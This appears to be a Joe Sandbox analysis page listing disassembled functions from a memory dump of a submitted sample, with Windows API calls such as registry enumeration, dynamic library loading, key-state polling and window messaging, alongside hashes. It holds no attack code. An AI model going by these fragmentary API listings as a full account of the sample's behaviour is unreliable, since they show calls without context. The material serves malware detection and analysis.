Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 1e894255bba1be060884453df87cac8ec306be0f009db708da8141d25eec6cf7
Instruction ID: 91c3f51db11eb41b1fc9fcc9a3b230f025e71e56ee0fe9e5a2504ce605c29f75
Opcode Fuzzy Hash: 1e894255bba1be060884453df87cac8ec306be0f009db708da8141d25eec6cf7
Instruction Fuzzy Hash: F78151716043009FD724EF28C946F6AB7E5AF94720F14881DF99AEB2D2DA71AC41CB52

Function 00F40037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC7DE1: _memmove.LIBCMT ref: 00EC7E22

Part of subcall function 00F40E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F3FDAD,?,?), ref: 00F40E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F400FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F4013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00F40183
RegCloseKey.ADVAPI32(?,?), ref: 00F401AF
RegCloseKey.ADVAPI32(00000000), ref: 00F401BC

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: f9f473f7f759cf0c4fafa96db4365c7dc429b067da1d9347d136568881b6a0a0
Instruction ID: 94c70de022ab45297830acd7aaf67c598299b6cbbd3d20bd800bf6952468011d
Opcode Fuzzy Hash: f9f473f7f759cf0c4fafa96db4365c7dc429b067da1d9347d136568881b6a0a0
Instruction Fuzzy Hash: A8517C72608204AFD704EF68CD81F6ABBE9FF84314F00492DF995972A2DB31E945DB52

Function 00F3D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00F3D927
GetProcAddress.KERNEL32(00000000,?), ref: 00F3D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00F3D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 00F3DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00F3DA21

Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00F27896,?,?,00000000), ref: 00EC5A2C
Part of subcall function 00EC5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00F27896,?,?,00000000,?,?), ref: 00EC5A50

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 844cc69a2ed964f3c6133ae4b008d5e1111061051b3712675729d50869723f98
Instruction ID: cc28fc60bbb0c9524f440b524bdad14f5af4e14f33d46ba68e5ade7ff3742655
Opcode Fuzzy Hash: 844cc69a2ed964f3c6133ae4b008d5e1111061051b3712675729d50869723f98
Instruction Fuzzy Hash: 6B510636A00209DFCB00EFA8D584EADB7F5FF59320B048069E859AB312DB35AD46DB50

Function 00F2E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00F2E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00F2E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00F2E687

Part of subcall function 00EC9837: __itow.LIBCMT ref: 00EC9862
Part of subcall function 00EC9837: __swprintf.LIBCMT ref: 00EC98AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00F2E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00F2E6B4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 746086f066c47fbf622012a42275cd82ba7e867cc475f2db43927a440ed8cfe3
Instruction ID: c8e9ef55352b8ca6654e8e73489de31d0ddeb55241da28d139027a81abda897b
Opcode Fuzzy Hash: 746086f066c47fbf622012a42275cd82ba7e867cc475f2db43927a440ed8cfe3
Instruction Fuzzy Hash: EA51F936A00109DFCB05EF65C985EADBBF5EF09314B1480A9E809AB362CB32ED51DB50

Function 00F4A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88356798d6791dd922c7bcfba3d81ec878cd108288f531cc99920661cccec56c
Instruction ID: 0d67f1a9c8a7599cd3c354f0e3bef4f708db0aa9bd64b60a3b5c5b280e303c70
Opcode Fuzzy Hash: 88356798d6791dd922c7bcfba3d81ec878cd108288f531cc99920661cccec56c
Instruction Fuzzy Hash: 1641B23AD84118AFD720DF28CC48FA9BFA8EB49320F150165FD1AA72E1C770AD55FA51

Function 00EC2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00EC2357
ScreenToClient.USER32(00F857B0,?), ref: 00EC2374
GetAsyncKeyState.USER32(00000001), ref: 00EC2399
GetAsyncKeyState.USER32(00000002), ref: 00EC23A7

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 59d03b9a3bdf679eaedd54f8e3fe94817ff7e14359d9fcde4347ffb401f0f918
Instruction ID: 7a67115acf5f17934893e4425f97b635d97caf3cda118116b5b4dace8a744711
Opcode Fuzzy Hash: 59d03b9a3bdf679eaedd54f8e3fe94817ff7e14359d9fcde4347ffb401f0f918
Instruction Fuzzy Hash: 5A41CF3560410AFBCF159F68CD44FE9BBB4FB05324F20431EF928A22A0CB369951EB91

Function 00F163AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F163E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00F16433
TranslateMessage.USER32(?), ref: 00F1645C
DispatchMessageW.USER32(?), ref: 00F16466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F16475

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 69f9bb363e803e95eff329b3d4d57f884764666613dd8d9de7e26ddee14dace2
Instruction ID: ec9762b49cf3d8820d06a13910d44930fff2ae5bfd508bd332b72837094f8fd6
Opcode Fuzzy Hash: 69f9bb363e803e95eff329b3d4d57f884764666613dd8d9de7e26ddee14dace2
Instruction Fuzzy Hash: 4031D631E0065AEFDB24CFB4DC44BF67BACAB15720F144165E425C61A1E72594C9F760

Function 00F18A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00F18A30
PostMessageW.USER32(?,00000201,00000001), ref: 00F18ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00F18AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00F18AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00F18AF8

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 9c749a90379d487c7da3b29c955676e45a1108f3e93299febdece936f76b86a1
Instruction ID: a3324bf2842857d36f369c8cfbee3b0a5189b0c13e7a1fde26a737f979fb3dc1
Opcode Fuzzy Hash: 9c749a90379d487c7da3b29c955676e45a1108f3e93299febdece936f76b86a1
Instruction Fuzzy Hash: 7A31FF71900219EBCB00CFA8DA4CADE3BB5EF05325F10822AF929E61D0C7B49955EB90

Function 00F1B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00F1B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00F1B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00F1B259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00F1B27F
_wcsstr.LIBCMT ref: 00F1B289

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 9be996c5a4fb9b6b1d15531a5d1709086862e5f4ec2c1cae6d6db90d5090c4d7
Instruction ID: 58c70af9af4fed03fa2f472fc2def056abd89960848afd78b6e7c427d156f3be
Opcode Fuzzy Hash: 9be996c5a4fb9b6b1d15531a5d1709086862e5f4ec2c1cae6d6db90d5090c4d7
Instruction Fuzzy Hash: 0021F832604284BBEB165B759C09EBF7B98DF4A760F004139FC08DA161EB719C84A660

Function 00F4B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00EC2612: GetWindowLongW.USER32(?,000000EB), ref: 00EC2623

GetWindowLongW.USER32(?,000000F0), ref: 00F4B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 00F4B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00F4B1CF
GetSystemMetrics.USER32(00000004), ref: 00F4B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00F30E90,00000000), ref: 00F4B216

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 895d023092ae051035023ba4274544149f5d6daafedfd87d66bf3e58dac34fd0
Instruction ID: 2bc857fa0640aa6378cfec7940cc179d731ee2e065c85e8d2ecf025cb98465bf
Opcode Fuzzy Hash: 895d023092ae051035023ba4274544149f5d6daafedfd87d66bf3e58dac34fd0
Instruction Fuzzy Hash: F9218D71A10265AFCB109F38DC04B6A3BA4FB56731F154729BD26D71E1E730D921EB90

Function 00F19307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00F19320

Part of subcall function 00EC7BCC: _memmove.LIBCMT ref: 00EC7C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00F19352
__itow.LIBCMT ref: 00F1936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00F19392
__itow.LIBCMT ref: 00F193A3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: c91926954f565ea44ffc397fecbc5966caaf52cd81d8b0a0e0384c1baa84e48c
Instruction ID: 522ba6c4a36dbf0bf3964b6b541fe55394255afd87e9d6b03d6b27173b817c1d
Opcode Fuzzy Hash: c91926954f565ea44ffc397fecbc5966caaf52cd81d8b0a0e0384c1baa84e48c
Instruction Fuzzy Hash: 1E213A31B042087BDB109A648C99EEE7BEDEB59720F045029FD58E71C0D6F0CD85A7D1

Function 00F35A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00F35A6E
GetForegroundWindow.USER32 ref: 00F35A85
GetDC.USER32(00000000), ref: 00F35AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00F35ACD
ReleaseDC.USER32(00000000,00000003), ref: 00F35B08

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: a0e2ec838f77e92dfa93117a35d5dfc2e4f4e751cf132088e1903ce1a891a6d4
Instruction ID: b6090a0a91c68cd59940521bead092cdae629ca01b4bbf5416725a0d8b1336cf
Opcode Fuzzy Hash: a0e2ec838f77e92dfa93117a35d5dfc2e4f4e751cf132088e1903ce1a891a6d4
Instruction Fuzzy Hash: A621C635A00104AFDB04EF64DD88A5ABBE5EF59350F158079FC09D7352CA34AC05EB50

Function 00EC12F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00EC134D
SelectObject.GDI32(?,00000000), ref: 00EC135C
BeginPath.GDI32(?), ref: 00EC1373
SelectObject.GDI32(?,00000000), ref: 00EC139C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: c03bbf640237c7abd6e82881627409cbbd96c747f8db132e788003ec8667cd79
Instruction ID: b4d6f4d6a23eb2ba9a4626feb584a6506400ff9c7d1ab4823cae7e5d2fa2e9d2
Opcode Fuzzy Hash: c03bbf640237c7abd6e82881627409cbbd96c747f8db132e788003ec8667cd79
Instruction Fuzzy Hash: 0421513080064CDBDB108F59DD08BB97BE8EB11719F15425BF814A61B1D7719896EF50

Function 00F1BC9E Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00F1BCB3
_memcmp.LIBCMT ref: 00F1BCD1
_memcmp.LIBCMT ref: 00F1BCE4
_memcmp.LIBCMT ref: 00F1BCFC
_memcmp.LIBCMT ref: 00F1BD14

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a2b87d0332f574ee42ef6e1d351fe88ead200588ca1d48125c92ce8e4d047966
Instruction ID: 4daca2ebaa8de0f0a30bc275fe84ee8dd427418b769e97b9841cbc23a06d1b16
Opcode Fuzzy Hash: a2b87d0332f574ee42ef6e1d351fe88ead200588ca1d48125c92ce8e4d047966
Instruction Fuzzy Hash: AD01B57360010DBBD2046B126D42FFFB79CDE613A8B044065FE15A6383FB61DE94A2E1

Function 00F24A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F24ABA
__beginthreadex.LIBCMT ref: 00F24AD8
MessageBoxW.USER32(?,?,?,?), ref: 00F24AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00F24B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00F24B0A

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 24d75cb3d1d486d5800ddf63fb1a6e4dbdcd5d46f47fdd80b00b5ed883add9ff
Instruction ID: 8533936bba1c6f15dfe231ce474234ba4370056c21fec41c335aa8699ff0b32c
Opcode Fuzzy Hash: 24d75cb3d1d486d5800ddf63fb1a6e4dbdcd5d46f47fdd80b00b5ed883add9ff
Instruction Fuzzy Hash: 3811087A90425CBBD7009FA8AC08AEB7FACEB85320F144265F818D3250D6B1D9049BA1

Function 00F18202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00F1821E
GetLastError.KERNEL32(?,00F17CE2,?,?,?), ref: 00F18228
GetProcessHeap.KERNEL32(00000008,?,?,00F17CE2,?,?,?), ref: 00F18237
HeapAlloc.KERNEL32(00000000,?,00F17CE2,?,?,?), ref: 00F1823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00F18255

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 6cfab5b9e87992f667d4bd9a104fcf7d0b65ab74e0ffc76a7daf95d400218c77
Instruction ID: 94a99f9cc95178e2f50e4f9479f5af0e8ae499c79c51e9517d6acd7d7c54a299
Opcode Fuzzy Hash: 6cfab5b9e87992f667d4bd9a104fcf7d0b65ab74e0ffc76a7daf95d400218c77
Instruction Fuzzy Hash: EE016D75600248BFDB214FA5DD48DAB7BACEF9B7A4B500429FD09C2220DA318C45EA60

Function 00F1710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?,?,00F17455), ref: 00F17127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?), ref: 00F17142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?), ref: 00F17150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?), ref: 00F17160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00F17044,80070057,?,?), ref: 00F1716C

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
